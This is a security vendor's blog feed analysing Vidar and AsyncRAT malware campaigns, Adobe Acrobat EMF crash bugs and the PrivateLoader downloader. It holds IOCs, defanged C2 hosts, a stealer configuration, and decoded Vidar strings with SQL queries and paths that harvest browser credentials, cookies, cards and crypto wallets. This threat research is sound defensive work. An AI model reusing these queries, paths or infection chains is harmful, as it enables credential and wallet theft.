Blog Category Feed Zscaler Blog — News and views from the leading voice in cloud security. en Vidar distributed through backdoored Windows 11 downloads and abusing Telegram Summary In April 2022, ThreatLabz discovered several newly registered domains, which were created by a threat actor to spoof the official Microsoft Windows 11 OS download portal. We discovered these domains by monitoring suspicious traffic in our Zscaler cloud. The spoofed sites were created to distribute malicious ISO files which lead to a Vidar infostealer infection on the endpoint. These variants of Vidar malware fetch the C2 configuration from attacker-controlled social media channels hosted on Telegram and Mastodon network. ThreatLabz believes that the same threat actor is actively leveraging social engineering to impersonate popular legitimate software applications to distribute Vidar malware, as we have also identified an attacker-controlled GitHub repository which hosts several backdoored versions of Adobe Photoshop. These binaries hosted on GitHub, distribute Vidar malware using similar tactics of abusing social media channels for C2 communication. In this blog, ThreatLabz analyzes the Vidar distribution vector, threat actor correlation, and technical analysis of the binaries involved in this campaign. Key points ThreatLabz discovered several newly registered domains spoofing the official Microsoft Windows 11 OS download portal The spoofed domains were distributing malicious ISO files containing samples of the Vidar infostealer malware The actual C2s used by the malware samples are obtained from attacker-controlled social media channels hosted on Telegram and Mastodon network Using data obtained from this campaign, ThreatLabz was also able to identify another similar one using backdoored versions of Adobe Photoshop Distribution Vector - Windows 11 Theme The threat actor registered several domains beginning 20th April 2022 that host web pages that masquerade as the official Microsoft Windows 11 download page, which is the latest version of the operating system. ThreatLabz found several other domains registered by this threat actor similar to the one shown below in Figure 1. All of these domains were used to spread malicious ISO files spoofed as a Windows 11 download. Figure 1: Vidar attacker-controlled domain serving malicious ISO file The complete list of domains linked to this threat actor that were used in this campaign are mentioned in the Indicators of Compromise (IOC) section. Technical Analysis ISO file The binary inside the ISO file is a PE32 binary. The size of the ISO file is very large (more than 300 MB), which helps the attackers evade network security products where there is a file size limitation in place. Example MD5 hashes for this campaign are shown below: ISO file MD5 hash: 52c47fdda399b011b163812c46ea94a6 PE32 file MD5 hash: 6352540cf679dfec21aff6bd9dee3770 The binary inside the ISO file is digitally signed with a certificate by AVAST. However, this certificate is expired and hence invalid. Figure 2 shows the details of the certificate and the corresponding serial number. Figure 2: Details of the certificate used to sign the malicious Vidar binary All of the binaries in this campaign were signed by a certificate with the same serial number. By pivoting on this serial number, we were able to discover several other malicious binaries from multiple different campaigns and actors, which likely indicates that this is a stolen certificate coming from the AVAST compromise back in 2019. Vidar Samples The Vidar samples in these campaigns are all packed with Themida (except for the MD5 hash 6ae17cb76cdf097d4dc4fcccfb5abd8a) and over 330MB in size. However, the sample contains a PE file that is only around 3.3MB. Figure 3 shows that the rest of the file content is just artificially filled up with 0x10 bytes to increase the file’s size. The Vidar strings extracted from these samples is provided in the Appendix section at the end of the blog. Figure 3: Padding of bytes to inflate the Vidar binary size from 3.3MB to 330MB All of the binaries below are related to the same Windows 11 theme campaign: MD5: 6352540cf679dfec21aff6bd9dee3770 The Vidar static configuration below contains the embedded parameters needed by the sample to communicate with its C2 and information including the malware version: Profile: 670 Profile ID: 739 Version: 51.9 URL marker: hello URL1: Real C2: (Carved out from URL1) URL2: Real C2: (Carved out from URL2) The botnet can be identified by its profile ID. Both of the hardcoded URLs are from social media sites. However, they are used as a dead drop resolver as a first stage. The URL marker instructs Vidar to parse the second stage URL from the social media profiles located at the dead drop resolver. The following is an example Vidar stealer configuration downloaded from the C2: 1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3; This configuration is the default with every stealing function enabled (passwords, cryptocurrency wallets, two-factor authentication, etc) The following libraries are downloaded from the C2: (66cf4ebdceedecd9214caab7ca87908d), which contains the following DLL libraries: freebl3.dll (ef2834ac4ee7d6724f255beaf527e635) mozglue.dll (8f73c08a9660691143661bf7332c3c27) msvcp140.dll (109f0f02fd37c84bfc7508d4227d7ed5) nss3.dll (bfac4e3c5908856ba17d41edcd455a51) softokn3.dll (a2ee53de9167bf0d6c019303b7ca84e5) sqlite3.dll (e477a96c8f2b18d6b5c27bde49c990bf) vcruntime140.dll (7587bf9cb4147022cd5681b015183046) All of these libraries are legitimate that Vidar leverages in order to extract credentials and other data from different applications and browsers. MD5: da82d43043c101f25633c258f527c9d5 MD5: e9a3562f3851dd2dba27f90b5b2d15c0 Vidar static configuration: Profile: 1281 Profile ID: 755 Version: 51.9 URL marker: hello URL1: URL2: Real C2: (Carved out from URL2) For these samples, the URL1 field in the static configuration is a real C2, and a social media profile is used as a backup URL. The Vidar stealer configuration downloaded from this C2 was the following: 1,1,0,1,1,1,1,0,0,1,250,none; This configuration is customized to extract social media passwords with all of the other Vidar features disabled. The libraries downloaded from the C2 are the same as the previous sample with the same (66cf4ebdceedecd9214caab7ca87908d). Distribution Vector - Adobe Photoshop Theme ThreatLabz also identified an attacker-controlled GitHub repository which hosts backdoored versions of the application Adobe Photoshop Creative Cloud, which we attribute to the same threat actor. Figure 4 shows the GitHub repository ( used by the attacker to host a backdoored version of Adobe Photoshop. Figure 4: Vidar attacker-controlled GitHub repository Technical Analysis The sample with the MD5 hash below belongs to this Adobe Photoshop theme campaign. MD5 6ae17cb76cdf097d4dc4fcccfb5abd8a Vidar static configuration: Profile: 1199 Profile ID: 0 Version: 51.8 URL marker: hello URL1: Real C2: (Carved out from URL1) URL2: Real C2: (Carved out from URL2) The Vidar stealer configuration downloaded from the C2 was the following: 1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3; The libraries downloaded from the C2 are the same as the previous sample with the same (66cf4ebdceedecd9214caab7ca87908d). Social media abuse for C2 communication All the binaries involved in this campaign fetch the IP addresses of the C2 servers from attacker-registered social media accounts on the Telegram and Mastodon networks. In the past, the threat actors distributing Vidar have abused other social media networks such as Mastodon. However, the abuse of Telegram is a new tactic that they added to their arsenal. Telegram abuse In these campaigns, the threat actor created several Telegram channels with the C2 IP address in the channel description. The format used to store the C2 IP address on social media profiles is the following for this campaign: <C2_Url_Marker> <C2_IP_address>| The C2_Url_Marker field in these campaigns was hello. The naming convention for the Telegram channels includes a date that corresponds to the date when these channels were created. As an example, the channel with the handle btc20220425 corresponds to a channel created on April 25, 2022, using btc_stacking as the name as shown in Figure 5. Figure 5: Vidar attacker-controlled Telegram channel with the C2 IP address included in the channel description Mastodon network abuse The Mastodon network is a decentralized social network which allows anyone to deploy their own instance of a self-hosted online community. There are several instances of such online communities on the Internet, which are built using Mastodon. Two such instances are ieji[.]de and koyu[.]space. The threat actor created a profile on both of these communities and stored the C2 IP address in the profile section using a format similar to the one used for Telegram channels. Figure 6 and Figure 7 show the profiles created by the threat actor on ieji[.]de and koyu[.]space, respectively. Figure 6: Vidar attacker-controlled profile on the Mastodon community ieji[.]de with the C2 IP address included in the channel description Figure 7: Vidar attacker-controlled profile on Mastodon community koyu[.]space with the C2 IP address included in the channel description Conclusion The threat actors distributing Vidar malware have demonstrated their ability to social engineer victims into installing Vidar stealer using themes related to the latest popular software applications. As always, users should be cautious when downloading software applications from the Internet and download software only from the official vendor websites. The Zscaler ThreatLabZ team will continue to monitor this campaign, as well as others, to help keep our customers safe. Zscaler cloud sandbox detection Figure 8: Zscaler cloud sandbox detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels. Win32.Downloader.Vidar Win64.Downloader.Vidar Indicators of compromise Hashes 52c47fdda399b011b163812c46ea94a6 da82d43043c101f25633c258f527c9d5 e9a3562f3851dd2dba27f90b5b2d15c0 6ae17cb76cdf097d4dc4fcccfb5abd8a Domains ms-win11[.]com ms-win11.midlandscancer[.]com win11-serv4[.]com win11-serv[.]com win11install[.]com ms-teams-app[.]net URLs for fetching C2 addresses URLs for fetching ISO files files.getsnyper[.]com/files/msteams/Setup.iso files.getsnyper[.]com/files/windows11/Setup.iso files.getsnyper[.]com/files/msteamsww/Setup.iso Actual C2s Appendix Decoded Strings Wallets Plugins *wallet*.dat \\Wallets\\ keystore Ethereum\ \\Ethereum\\ Electrum \\Electrum\\wallets\\ ElectrumLTC \\Electrum-LTC\\wallets\\ Exodus \\Exodus\\ exodus.conf.json window-state.json \\Exodus\\exodus.wallet\\ passphrase.json seed.seco info.seco ElectronCash \\ElectronCash\\wallets\\ default_wallet MultiDoge \\MultiDoge\\ multidoge.wallet JAXX \\jaxx\\Local Storage\\ file__0.localstorage Atomic \\atomic\\Local Storage\\leveldb\\ 000003.log CURRENT LOCK LOG MANIFEST-000001 0000* Binance \\Binance\\ app-store.json Coinomi \\Coinomi\\Coinomi\\wallets\\ *.wallet *.config wallet_path SOFTWARE\\monero-project\\monero-core \\Monero\\ SELECT fieldname, value FROM moz_formhistory \\files\\Soft \\files\\Soft\\Authy \\Authy Desktop\\Local Storage\\ \\Authy Desktop\\Local Storage\\*.localstorage \\Opera Stable\\Local State INSERT_KEY_HERE JohnDoe HAL9TH /core/v1/nicknames/ about Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25 C:\\ProgramData\\ .exe :Zone.Identifier [ZoneTransfer] ZoneId=2 Windows ProgramData RECYCLE.BIN Config.Msi System Volume Information msdownld.tmp Recovery Local\\Temp Program Files Recycle.Bin All Users MicrosoftEdge\\Cookies Users\\Public Local\\Packages Local\\NuGet Roaming\\WinRAR Local\\Microsoft Microsoft fee_estimates peers mempool banlist governance mncache mnpayments netfulfilled passwords.txt Login Data Cookies Web Data \\files\\Autofill \\files\\Cookies \\files\\CC \\files\\History \\files\\Downloads \\files\\ \\files\\Files hwid os platform profile user cccount fcount telegram ver vaultcli.dll VaultOpenVault VaultCloseVault VaultEnumerateItems VaultGetItem VaultFree SELECT url FROM moz_places %s\\Mozilla\\Firefox\\profiles.ini \\signons.sqlite SELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_logins \\logins.json formSubmitURL usernameField encryptedUsername encryptedPassword guid SELECT host, name, value FROM moz_cookies SELECT origin_url, username_value, password_value FROM logins SELECT name, value FROM autofill SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards SELECT target_path, tab_url from downloads SELECT url, title from urls SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies C:\\Users\\ \\AppData\\Roaming\\FileZilla\\recentservers.xml <Host> <Port> <User> <Pass encoding=\ Soft: FileZilla\n \\AppData\\Roaming\\.purple\\accounts.xml <protocol> <name> <password> Soft: Pidgin\n \\Thunderbird\\Profiles\\ C:\\Program Files (x86)\\Mozilla Thunderbird APPDATA LOCALAPPDATA Thunderbird \\files\\Telegram \\Telegram Desktop\\tdata\\* D877F783D5D3EF8C* \\Telegram Desktop\\tdata\\ key_datas \\Telegram Desktop\\tdata\\D877F783D5D3EF8C\\* map* \\Telegram Desktop\\tdata\\D877F783D5D3EF8C\\ firefox.exe plugin-container.exe update_notifier.exe Mozilla Firefox \\Mozilla\\Firefox\\Profiles\\ Pale Moon \\Moonchild Productions\\Pale Moon\\Profiles\\ Waterfox \\Waterfox\\Profiles\\ Cyberfox \\8pecxstudios\\Cyberfox\\Profiles\\ BlackHawk \\NETGATE Technologies\\BlackHawk\\Profiles\\ IceCat \\Mozilla\\icecat\\Profiles\\ K-Meleon \\K-Meleon\\ Google Chrome \\Google\\Chrome\\User Data\\ Chromium \\Chromium\\User Data\\ Kometa \\Kometa\\User Data\\ Amigo \\Amigo\\User Data\\ Torch \\Torch\\User Data\\ Orbitum \\Orbitum\\User Data\\ Comodo Dragon \\Comodo\\Dragon\\User Data\\ Nichrome \\Nichrome\\User Data\\ Maxthon5 \\Maxthon5\\Users\\ Sputnik \\Sputnik\\User Data\\ Epic Privacy Browser \\Epic Privacy Browser\\User Data\\ Vivaldi \\Vivaldi\\User Data\\ CocCoc \\CocCoc\\Browser\\User Data\\ URAN \\uCozMedia\\Uran\\User Data\\ QIP Surf \\QIP Surf\\User Data\\ Cent Browser \\CentBrowser\\User Data\\ Elements Browser \\Elements Browser\\User Data\\ TorBro Browser \\TorBro\\Profile\\ Suhba Browser \\Suhba\\User Data\\ Mustang Browser \\Rafotech\\Mustang\\User Data\\ Chedot Browser \\Chedot\\User Data\\ Brave_Old \\brave\\ 7Star \\7Star\\7Star\\User Data\\ Microsoft Edge \\Microsoft\\Edge\\User Data\\ 360 Browser \\360Browser\\Browser\\User Data\\ QQBrowser \\Tencent\\QQBrowser\\User Data\\ Opera \\Opera Software\\Opera Stable\\ OperaGX \\Opera Software\\Opera GX Stable\\ Local State Cookies %s_%s.txt TRUE FALSE \\Microsoft\\Windows\\Cookies\\Low\\ Cookies\\IE_Cookies.txt \\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\ Cookies\\Edge_Cookies.txt \\files\\Wallets %USERPROFILE% %DESKTOP% KERNEL32.DLL LoadLibraryA GetProcAddress VirtualAllocExNuma gdi32.dll ole32.dll user32.dll psapi.dll BCRYPT.DLL BCryptCloseAlgorithmProvider BCryptDestroyKey BCryptOpenAlgorithmProvider BCryptSetProperty BCryptGenerateSymmetricKey BCryptDecrypt CRYPT32.DLL CryptUnprotectData CryptStringToBinaryA C:\\ProgramData\\nss3.dll NSS_Init NSS_Shutdown PK11_GetInternalKeySlot PK11_FreeSlot PK11_Authenticate PK11SDR_Decrypt advapi32.dll RegOpenKeyExA RegQueryValueExA RegCloseKey RegOpenKeyExW RegGetValueW RegEnumKeyExA RegGetValueA GetUserNameA GetCurrentHwProfileA wininet.dll InternetCloseHandle InternetReadFile HttpSendRequestA HttpOpenRequestA InternetConnectA InternetOpenA HttpAddRequestHeadersA HttpQueryInfoA InternetSetFilePointer InternetOpenUrlA InternetSetOptionA DeleteUrlCacheEntry CreateCompatibleBitmap SelectObject BitBlt DeleteObject CreateDCA GetDeviceCaps CreateCompatibleDC CoCreateInstance CoUninitialize GetDesktopWindow ReleaseDC GetKeyboardLayoutList CharToOemA GetDC wsprintfA EnumDisplayDevicesA GetSystemMetrics GetModuleFileNameExA GetModuleBaseNameA EnumProcessModules Thu, 19 May 2022 08:00:02 -0700 Sudeep Singh Targeted attack on Thailand Pass customers delivers AsyncRAT The Zscaler ThreatLabz research team has recently discovered a malware campaign targeting users applying for Thailand travel passes. The end payload of many of these attacks is AsyncRAT, a Remote Access Trojan that can be used to monitor, control, and steal sensitive data from victims' machines. Thailand Pass is an online travel agency that brokers airline tickets to travelers who want to visit Thailand or other foreign countries. Attackers trick victims using a spoof web page that poses as Thailand Pass, ultimately baiting users into downloading AsyncRAT. The Thailand Pass organization has issued an advisory for these malicious campaigns on their official website "tp.consular[.]go[.]th" as shown below. Figure 1: Advisory by Thailand pass organization. In this blog, our team will provide a deep analysis of the malware campaign that we have observed related to these attacks. The below image shows the complete flow of execution for this malware campaign. Figure 2: Complete attack chain workflow. The following malicious URLs were used for this campaign, as found through our Threat Intelligence collection framework. hxxps://bit[.]ly/Thailand-passport - is an shortened URL of hxxps://[.]com/Download?cid=6BCBE135551869F2&resid=6BCBE135551869F2!168&authkey=AGoYtbf1Lb5VjFg On accessing the above URL, the page delivers a HTML file named “Thailand Pass Registration System (for air travel.html”. Once the user opens the HTML file, it automatically drops an ISO file named “thailand_Passport.iso” without any user interaction, as shown below. Figure 3 : Thailand pass phishing page drops ISO file. This ISO file contains a VBScript called “qr_thailand_pass.vbs” file which begins the malware activity. The content of the vbs file will be in obfuscated form as shown below. Figure 4: Obfuscated content of the qr_thailand_pass.vbs file. After de-obfuscating the VBScript, we can see that the script tries to download a Testavast+denf.txt file from the web hosting site(ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com) and executes the code using the “IEX” operation with the help of “powershell”. Figure 5: Deobfuscated content of the qr_thailand_pass.vbs file. The following image shows the content of the Testavast+denf.txt file which contains a code to check if antivirus services ESET, Avast, AVG, or Malwarebytes are running. If any of those services is found, the script modifies the execution flow of the malware to get around the antivirus, and downloads the appropriate files in order to do so. It saves the files related to the antivirus service as untitled.ps1 and executes that powershell script. Figure 6: Checks for AV running service and downloads its related text file accordingly. While execution flows are modified if AV services are found to be present, the final payload (AsyncRAT malware) remains the same. IF AV exists on the host machine Example - Victim Machine runs MalwareBytes AV as a service Here, we have taken a case study of a host with malwarebytes antivirus installed, and will analyze the delivery of an AsyncRAT payload in detail. The following image shows the content of the killd.txt file which downloads the supporting files from web hosting site(ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com) Figure 7: Content of the powershell script present in the Killd.txt file. The image depicts the content of the supporting files like admin.vbs, admin.ps1, 1_powerrun.vbs, 1.bat and 1.ps1 whose main task is to stop the particular AV service to evade detection and to execute the malware attack. admin.vbs - Starts the admin.ps1 powershell script admin.ps1 - Starts the 1_powerrun.vbs script in admin mode 1_powerrun.vbs - runs the 1.bat batch file. 1.bat - runs the 1.ps1 powershell script. Figure 8: Content of the admin.vbs,admin.ps1,1_powerrun.vbs and 1.bat. The final goal of the “1.ps1” powershell script is to stop the MalwareBytes service and add exclusion for the supporting files during the real time scanning as depicted below. Figure 9: Stops the Malwarebytes Antivirus service in Force method. After disabling the running antivirus service, it downloads the AsyncRAT malware from the killd.txt file and starts its malicious activity on the victim's machine. Figure 10: Content of the AsyncRAT payload present in the killd.txt file. If no antivirus services are detected on the victim machine then the code will move to the “else” as shown below. IF AV does not Exist on the host machine Here the script downloads “task.txt”, “SecurityHealth.exe” and “SecurityHealth.exe.manifest” files from the following domain “hxxp://microsoft[.]soundcast[.]me”. Then, it executes the “task.txt” file as “untitled.ps1”. It also copies the following “SecurityHealth[.].exe” and “SecurityHealth[.]exe[.]manifest” files in the startup folder for persistence techniques. Figure 11: If AV not exist, download files from “hxxp://microsoft[.]soundcast[.]me/”. The following image shows the content of the Task.txt file which creates a scheduled task as GoogleUpdate to execute the dropped SecurityHealth[.]exe file. This naming fools the user and enables the malware to implement its persistence method. Figure 12: Task.txt file uses persistence technique. The securityHealth[.]exe file needs the SecurityHealth[.]exe[.]manifest supporting file to execute its malicious activities. The following image shows the decoded content present in the SecurityHealth[.]exe[.]manifest containing the URL(34[.]71[.]81[.]158/Run/aaa.ps1) to download the malicious powershell script(aaa.ps1). Figure 13: Decoded content present in the SecurityHealth.exe.manifest, downloads aaa.ps1. The downloaded powershell script aaa.ps1 contains the same AyncRAT payload which is present in the killd.txt file(Malwarebytes AV related file). Figure 14: content present in aaa.ps1 file Final payload AsyncRAT malware - Execution Flow The variable $Filc contains the actual AsyncRAT malware payload, which is injected into a legitimate aspnet_compiler.exe file to show it as a genuine file running in background. The following image shows how the process injection is done in detail. Figure 15: AsyncRAT payload process injection in legitimate file(aspnet_compiler.exe). While decoding the variable $Filc, it results in an AsyncRAT malware file that was hidden inside of it. After deobfuscation, converted that into a decimal format and then into ASCII to see the actual executable file (malware payload) as depicted below. Figure 16: Deobfuscated AsyncRAT malware executable. The injected malware payload runs as a legitimate aspnet_compiler.exe process as shown below. Figure 17: Aspnet_compiler is running as a legit file with injected AsyncRAT payload into it. Process Injection - Work Flow We have dissected the deobfuscated AsyncRAT to see how the process injection is accomplished. The following image shows the APIs used for process injection in the Execute method. Figure 18: Content Present in GetMethod- Execute Function - Process injection APIs. The following APIs are also used to inject the malware AsyncRAT into the legitimate file aspnet_compiler.exe file. Figure 19: Content Present in GetType - Order.Yes - Process injection APIs. The payload will also check for the Anti-VM and Anti-debugging techniques to evade detection as follows: Here it checks whether the downloaded malware payload is running in the host or virtual machine, and also uses anti-debugging techniques to hide its actual behavior. Figure 20: Decompiled AsyncRAT file : Anti VM - Anti Debugging techniques. Finally, it steals the networking credentials of the victim and sends the stolen information to the following C&C server (invoice-update[.]myiphost[.]com) as shown below. Figure 21: Decompiled AsyncRAT file - C&C server location. Similar campaign - Delivery using Discord CDN: cdn[.]discordapp[.]com/attachments/921529408060289114/947221997325258772/ We have seen several other Thailand Pass organization spam templates that directly deliver the VBScript file that leads to the delivery of the same AsyncRAT malware, as shown below. Figure 22: Thailand pass downloads VBScript file directly. Conclusion: AsyncRAT – like other Remote Access Trojans – is a powerful malware that plays a significant role in cybercriminal activities. ThreatLabz actively tracks these types of malware attacks to protect our customers from data theft and from other sensitive information being abused by the cybercriminals. IOCs: URLs: bit[.]ly/Thailand-passport onedrive[.]live[.]com/Download?cid=6BCBE135551869F2&resid=6BCBE135551869F2!168&authkey=AGoYtbf1Lb5VjFg ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/New/Testavast+denf[.]txt ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/New/Nod[.]txt ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/New/Avast[.]txt ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/New/Killd[.]txt ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/SV/Malawer/1[.]bat ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/SV/Malawer/1[.]ps1 ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/SV/Malawer/1_powerrun[.]vbs ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/SV/Malawer/PowerRun[.]exe ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/SV/Malawer/admin[.]ps1 ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/SV/Malawer/admin[.]vbs microsoft[.]soundcast[.]me/Run/task[.]txt microsoft[.]soundcast[.]me/Run/SecurityHealth[.]exe microsoft[.]soundcast[.]me/Run/SecurityHealth[.]exe[.]manifest 34[.]71.81[.]158 cdn[.]discordapp[.]com/attachments/921529408060289114/947221997325258772/ Hashes: 9f0a23cf792d72d89010df5e219b4b12 - Thailand pass[.]html e2da247426a520209f7d993332818b40 - Thailand pass[.]ISO 8f30215a81f2a2950fd5551d4f2212ce - QR_thailand_pass[.]vbs e8e4ea0f80c9ff49df07e9c1b119ba2a - Security health[.]exe 25ed250f143d623d0d41bd9123bcc509 - SecurityHealth[.]exe[.]manifest 4e6d695ed0559da97c9f081acf0892e4 - AsyncRAT Payload 2922a998d5b202ff9df4c40bce0a6119 - Process injector b64ac660f13b24f99999e7376424df2d - Killd.txt 984f6bd06024f8e7df2f9ec9e05ae3d2 - Avast.txt a5dfd5b75db6529b6bd359e02229ad1d - Nod.txt 9c0bdb129084a6c8fce1a1e9d153374b - Admin.ps1 7ec50ec3091ff38eb7c43e2a8a253bc9 - 1.ps1 ae29fc1878f3471bb196ba353b3daf9d - 1_powerrun.vbs 44314f46a2beb1cc20a0798533f0913E - 1.bat 878b1aae24a87bc0dbce537336878b5E - Admin.vbs C&C: invoice-update[.]myiphost[.]com Detection & Coverage: Advanced Sandbox Report: Figure 23:Zscaler Sandbox detection Advanced Threat Protection: Win32.Downloader.AsyncRAT HTML.Phish.ThailandPass VBS.Dropper.AsyncRAT Win32.Backdoor.AsyncRAT PS.Downloader.AsyncRAT Win32.Trojan.NETAssemblyInject About us Zscaler ThreatLabz is a global threat research team with a mission to protect customers from advanced cyberthreats. Made up of more than 100 security experts with decades of experience in tracking threat actors, malware reverse engineering, behavior analytics, and data science, the team operates 24/7 to identify and prevent emerging threats using insights from 300 trillion daily signals from the Zscaler Zero Trust Exchange. Since its inception, ThreatLabz has been tracking the evolution of emerging threat vectors, campaigns, and groups, contributing critical findings and insights on zero-day vulnerabilities, —including active IOCs and TTPs for threat actors, malware, and ransomware families, phishing campaigns, and more. ThreatLabz supports industry information sharing and plays an integral role in the development of world-class security solutions at Zscaler. See the latest ThreatLabz threat research on the Zscaler blog. Wed, 27 Apr 2022 09:48:57 -0700 Gayathri Anbalagan Zscaler ThreatLabz Discovers Multiple Product Bugs in Adobe Acrobat In April 2022, Adobe released security update APSB22-16. This update fixed five product bugs that Zscaler’s ThreatLabz reported in Adobe Acrobat that are related to EMF (Enhanced Metafile Format) parsing. Adobe determined that Acrobat is secure by default for converting EMF to PDF. Specifically, abuse requires administrative privileges to modify the registry and add HKLM keys in order to enable the feature of the conversion from EMF to PDF. As a result, Adobe treated these five issues as regular product bugs instead of security bugs. Nevertheless, in this blog, we will present details related to these discoveries. Known Affected Software Acrobat DC 22.001.20085 and earlier versions Acrobat 2020 20.005.30314 and earlier versions (Windows) 20.005.30311 and earlier versions (macOS) Acrobat 2017 17.012.30205 and earlier versions     Steps to Reproduce Enable Page Heap in Acrobat.exe Follow the following instructions to enable the feature of converting an EMF file to a PDF shown below: Open the EMF PoC in Adobe Acrobat Case Studies Case 1 - Heap Buffer Overflow This bug can be triggered via opening a malformed EMF file in Adobe Acrobat, which causes a heap buffer overflow when Adobe Acrobat improperly processes Enhanced Metafile Format (EMF) data related to the handling of the EMR_COMMENT record. Figure 1 shows a comparison between a properly structured EMF file with a minimized PoC file that triggers this vulnerability. Figure 1. Comparison between a normal EMF file and the minimized PoC file that triggers a heap buffer overflow Adobe Acrobat will produce the following crash shown in Figure 2. Figure 2. Adobe Acrobat EMF to PDF heap buffer overflow crash Case 2: Use-After-Free This bug can be triggered via opening a malformed EMF file in Adobe Acrobat, which causes a use-after-free crash when Adobe Acrobat improperly processes Enhanced Metafile Format (EMF) data related to the handling of the EMR_COMMENT record. Figure 3 shows a comparison between a properly structured EMF file with a minimized PoC file that triggers this vulnerability. Figure 3. Comparison between a normal EMF file and the minimized PoC file that triggers a use-after-free crash Adobe Acrobat will produce the following crash shown in Figure 4. Figure 4. Adobe Acrobat EMF to PDF use-after-free crash Case 3: Out-of-Bounds Read This bug can be triggered via opening a malformed EMF file in Adobe Acrobat, which causes an out-of-bounds read when Adobe Acrobat improperly processes Enhanced Metafile Format (EMF) data related to the handling of the EMR_COMMENT record. Figure 5 shows a comparison between a properly structured EMF file with a minimized PoC file that triggers this vulnerability. Figure 5. Comparison between a normal EMF file and the minimized PoC file that triggers out-of-bounds read Adobe Acrobat will produce the following crash shown in Figure 6. Figure 6. Adobe Acrobat EMF to PDF out-of-bounds read crash Case 4: Heap Buffer Overflow This bug can be triggered via opening a malformed EMF file in Adobe Acrobat, which causes a heap buffer overflow when Adobe Acrobat improperly processes Enhanced Metafile Format (EMF) data related to the handling of the EMR_COMMENT record. Figure 7 shows a comparison between a properly structured EMF file with a minimized PoC file that triggers this vulnerability. Figure 7. Comparison between a normal EMF file and the minimized PoC file that triggers a heap buffer overflow Adobe Acrobat will produce the following crash shown in Figure 8. Figure 8. Adobe Acrobat EMF to PDF heap buffer overflow crash Case 5: Null Pointer Dereference This bug can be triggered via opening a malformed EMF file in Adobe Acrobat, to produce a null pointer dereference crash as shown in Figure 9. Figure 9. Adobe Acrobat EMF to PDF Null pointer dereference crash Summary In EMF records, the Comment record types define formats for specifying arbitrary private data, embedding records in other metafile formats, and adding new or special-purpose commands. Since an EMR_COMMENT record can contain arbitrary private data, ThreatLabz has found that it can be a potential attack vector. As presented in these case studies, four bugs were discovered by ThreatLabz in Adobe Acrobat when Adobe Acrobat improperly processes Enhanced Metafile Format (EMF) data related to the handling of the EMR_COMMENT record, in addition to a null pointer dereference. Mitigation All users of Adobe Acrobat and Reader are encouraged to upgrade to the latest version of the software. Zscaler’s Advanced Threat Protection and Advanced Cloud Sandbox can protect customers against these vulnerabilities. PDF.Exploit.EMF2PDFMemoryCorruption Reference Fri, 22 Apr 2022 21:06:40 -0700 Kai Lu Peeking into PrivateLoader Key Points PrivateLoader is a downloader malware family that was first identified in early 2021 The loader’s primary purpose is to download and execute additional malware as part of a pay-per-install (PPI) malware distribution service PrivateLoader is used by multiple threat actors to distribute ransomware, information stealers, banking trojans, downloaders, and other commodity malware PrivateLoader is a downloader malware family whose primary purpose is to download and execute additional malware. Intel 471 and Walmart reported on PrivateLoader’s pay-per-install (PPI) service that distributes malware on behalf of other threat actors. The malware payloads can be selectively delivered to victims based on certain criteria (e.g. location, cryptocurrency or financial activity, on a corporate network, specific software installed, etc.) As previously reported, some of the payloads being distributed include Redline Stealer, Vidar Stealer, SmokeLoader, Stop ransomware, and other commodity malware. The PrivateLoader malware is written in the C++ programming language, and based on the existence of multiple versions it seems to be in active development. The name “PrivateLoader” comes from debugging strings that can be found in some versions of the malware, for example: C:\Users\Young Hefner\Desktop\PrivateLoader\PL_Client\PL_Client\json.h PrivateLoader is modularized into a loader component and a main component. Anti-Analysis Techniques Both the loader and main components of PrivateLoader make use of similar anti-analysis techniques. These anti-analysis techniques include obfuscating integer constants with various mathematical operations as shown in Figure 1. Figure 1: Example of a PrivateLoader obfuscated integer constant. Most of the malware’s important strings are stored as encrypted stack strings where each string is decoded with its own XOR key as shown in Figure 2. A listing of PrivateLoader’s decrypted strings for the loader component can be found here and the main component’s decrypted strings can be found here. Figure 2: Example of a PrivateLoader encrypted stack string. Most of the important Windows DLL and API names used by PrivateLoader are also stored as encrypted stack strings. After decryption, PrivateLoader dynamically resolves the API functions at runtime. Finally, PrivateLoader adds junk code to obfuscate the program’s logic and control flow. Loader Component The PrivateLoader loader component contains three dead drop resolver URLs hardcoded in the malware that communicate via an HTTP GET request. An example of PrivateLoader’s dead drop resolvers is the following: hxxp://45.144.225[.]57/server.txt hxxps://pastebin[.]com/raw/A7dSG1te hxxp://wfsdragon[.]ru/api/setStats.php The purpose of these resolvers is to retrieve PrivateLoader’s command and control (C2) address. The first two dead drop resolver URLs return a plaintext response, while the third dead drop resolver returns a response that is XOR encrypted with a one-byte key (e.g., 0x6d). PrivateLoader expects the (decrypted) response to be in the format HOST:<IP_Address>. An example dead drop resolver response is the following: HOST:212.193.30[.]21 If PrivateLoader is unable to retrieve the primary C2 address via the dead drop resolvers, there is a secondary C2 address (2.56.59[.]42) stored in the malware. 